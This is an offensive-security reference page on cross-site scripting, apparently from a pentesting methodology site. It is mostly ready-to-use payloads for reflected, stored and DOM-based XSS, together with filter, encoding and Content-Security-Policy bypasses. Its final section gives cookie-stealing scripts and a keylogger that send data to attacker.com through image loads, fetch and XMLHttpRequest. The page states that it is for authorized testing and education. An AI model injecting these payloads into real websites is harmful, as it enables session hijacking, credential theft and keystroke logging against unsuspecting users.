Cross-Site Scripting (XSS)

Inject client-side scripts into web pages viewed by other users.

Reference7 steps4 tools

Methodology

  1. 1Identify all reflection/rendering points
  2. 2Determine context (HTML, attribute, JavaScript, URL, CSS)
  3. 3Craft context-appropriate payload
  4. 4Bypass filters (encoding, case, tag/event alternatives)
  5. 5Test for stored, reflected, and DOM-based XSS

Detailed Steps

Test every input for reflection:

shell
<script>alert(1)</script>
"><script>alert(1)</script>
'><script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
javascript:alert(1)

Check where input is reflected:

  • Inside HTML tags
  • Inside HTML attributes
  • Inside JavaScript code
  • Inside URL parameters
  • Inside CSS

Probe with unique string:

shell
testXSS12345

Search the response for this string to find all reflection points.

Inside HTML body:

html
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>

Inside an attribute:

html
" onmouseover="alert(1)
" autofocus onfocus="alert(1)
" onfocus=alert(1) autofocus="
'><img src=x onerror=alert(1)>

Inside JavaScript string:

javascript
';alert(1)//
\';alert(1)//
</script><script>alert(1)</script>

Inside JavaScript template literal:

javascript
${alert(1)}

Inside href/src:

html
javascript:alert(1)
data:text/html,<script>alert(1)</script>

Payload is stored and served to other users:

Common injection points:

  • Comment fields
  • User profiles (name, bio, website)
  • Forum posts
  • File names on upload
  • Email subject/body in webmail
  • Product reviews
  • Support tickets

Test payload:

html
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Self-contained data exfiltration:

html
<img src=x onerror="new Image().src='http://attacker.com/?c='+document.cookie">

Payload never touches the server — executed purely in the browser.

Common sources:

javascript
document.URL
document.documentURI
location.href
location.search
location.hash
document.referrer
window.name

Common sinks:

javascript
document.write()
innerHTML
outerHTML
eval()
setTimeout(string)
setInterval(string)
document.location
window.location
element.src

Test via URL hash:

shell
http://target.com/page#<img src=x onerror=alert(1)>

Tag blocked? Try alternatives:

html
<ScRiPt>alert(1)</ScRiPt>
<scr<script>ipt>alert(1)</scr</script>ipt>
<svg onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
<input onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>

Event handler blocked? Try:

html
<svg><animate onbegin=alert(1) attributeName=x>
<svg><set onbegin=alert(1) attributeName=x>
<math><maction actiontype="statusline#" xlink:href="javascript:alert(1)">click

Encoding bypass:

shell
\u0061lert(1)           → alert(1)
&#x61;lert(1)           → alert(1)
&#97;lert(1)            → alert(1)
\x61lert(1)             → alert(1)
eval(atob('YWxlcnQoMSk='))  → alert(1)

Parentheses blocked:

javascript
alert`1`
onerror=alert;throw 1
{onerror=alert}throw 1

Common CSP bypasses:

shell
script-src 'self' → find an open redirect or JSONP on same origin
script-src cdn.js → find any JS file you can inject into on that CDN
script-src 'unsafe-eval' → eval(payload)
script-src 'unsafe-inline' → direct XSS works

Using whitelisted domains:

html
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.min.js"></script>
<div ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</div>

Base tag injection (if base-uri not restricted):

html
<base href="http://attacker.com/">

→ All relative script paths now load from attacker

Policy analysis:

bash
# Use Google CSP Evaluator
https://csp-evaluator.withgoogle.com/
javascript
// Via image
<img src=x onerror="document.location='http://attacker.com/?c='+document.cookie">

// Via fetch
<script>fetch('http://attacker.com/log?c='+document.cookie)</script>

// Via XMLHttpRequest
<script>
var x = new XMLHttpRequest();
x.open("GET","http://attacker.com/log?c="+document.cookie);
x.send();
</script>

// Keylogger
<script>
document.onkeypress = function(e) {
  fetch('http://attacker.com/log?k='+e.key);
}
</script>

Tools

Burp SuiteXSS HunterDalFoxXSStrike

References

© 2026. For authorized testing and education only.

Use only against systems you own or have permission to test.